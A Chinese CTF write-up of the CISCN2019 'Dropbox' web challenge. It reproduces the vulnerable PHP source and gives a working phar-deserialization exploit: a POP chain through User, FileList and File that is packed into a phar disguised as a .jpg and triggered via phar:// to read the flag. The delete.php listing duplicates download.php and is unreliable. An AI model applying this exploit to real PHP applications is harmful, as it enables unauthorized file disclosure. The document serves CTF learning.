CTF代码审计之[CISCN2019 华北赛区 Day1 Web1]Dropbox

[CISCN2019 华北赛区 Day1 Web1]Dropbox

这道题目和 phar:// 有关

首先注册之后进行任意文件下载操作(略)

得到文件

index.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>


<!DOCTYPE html>
<html>

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>

<head>
    <link href="static/css/bootstrap.min.css" rel="stylesheet">
    <link href="static/css/panel.css" rel="stylesheet">
    <script src="static/js/jquery.min.js"></script>
    <script src="static/js/bootstrap.bundle.min.js"></script>
    <script src="static/js/toast.js"></script>
    <script src="static/js/panel.js"></script>
</head>

<body>
    <nav aria-label="breadcrumb">
    <ol class="breadcrumb">
        <li class="breadcrumb-item active">管理面板</li>
        <li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
        <li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
    </ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

download.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

delete.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

知识点整理：

1.1 open_basedir

open_basedir 用来限制当前程序可以访问设置目录下的所有下级目录。

若"open_basedir = /dir/user", 那么目录 “/dir/user” 和 “/dir/other"都是可以访问的。所以如果要将访问限制在仅为指定的目录，请用斜线结束路径名。

”."可代表当前目录，open_basedir也可以同时设置多个目录,在Windows中用分号分隔目录,在任何其它系统中用冒号分隔目录。例：ini_set(“open_basedir”, getcwd() . “:/etc:/tmp”); 就是只可以访问当前目录(getcwd()返回当前目录)、/etc和/tmp三个目录。

1.2 chdir() mkdir()

chdir() 实现目录跳跃

mkdir() 创建文件夹

1.3 function_all($func,$args)

__chall($func,$args)会在对象调用的方法不存在时，自动执行。($func:表示被调用的方法，$:被调用方法中的参数)

1.4 function __destruct()

        foreach ($this->results as $filename => $result) {   //每次把每个一级数组的值，传递给$result,即filename1[]
            $table .= '<tr>';
            foreach ($result as $func => $value) {           //每次把每个二级数组的值，传递给$value
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';

1.5 phar

此处请见我另一篇文章初探phar：https://www.cnblogs.com/yanwusheng/p/13720561.html

回到题目

这题和在初探phar 中的题目很像

1.File类获取文件内容

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

2.User类中在对象销毁时会执行close方法。

3.FileList类中存在call魔术方法，并且类有close方法。如果一个Filelist对象调用了close()方法，根据call方法的代码可以知道，文件的close方法会被执行，就可能拿到flag。

因此

我们需要创建一个user对象，其db变量是一个FileList对象，对象中的文件名为flag的位置。

当user对象销毁时，db变量的close方法被执行；而db变量没有close方法，这样的话就会触发call魔术方法，进而便成了执行File对象的close方法。

close方法执行之后存在results变量里的结果会加入到table变量中被打印出来，也就是flag会被打印出来

于是构造exp如下：

<?php

class User {
    public $db;
}

class File {
    public $filename;
}
class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct() {
        $file = new File();
        $file->filename = '/flag.txt';
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new User();
$o->db = new FileList();

$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

得到 phar.phar 文件

修改后缀为 phar.jpg 文件上传

抓包删除页面，修改 filename 为 filename=phar://phar.jpg

得到flag

自己还是太菜了，是看了许多大佬的博客才做出来的，多加强审计能力才行

参考链接：

https://www.cnblogs.com/Chr1sto/p/12257528.html

https://blog.csdn.net/weixin_44077544/article/details/102844554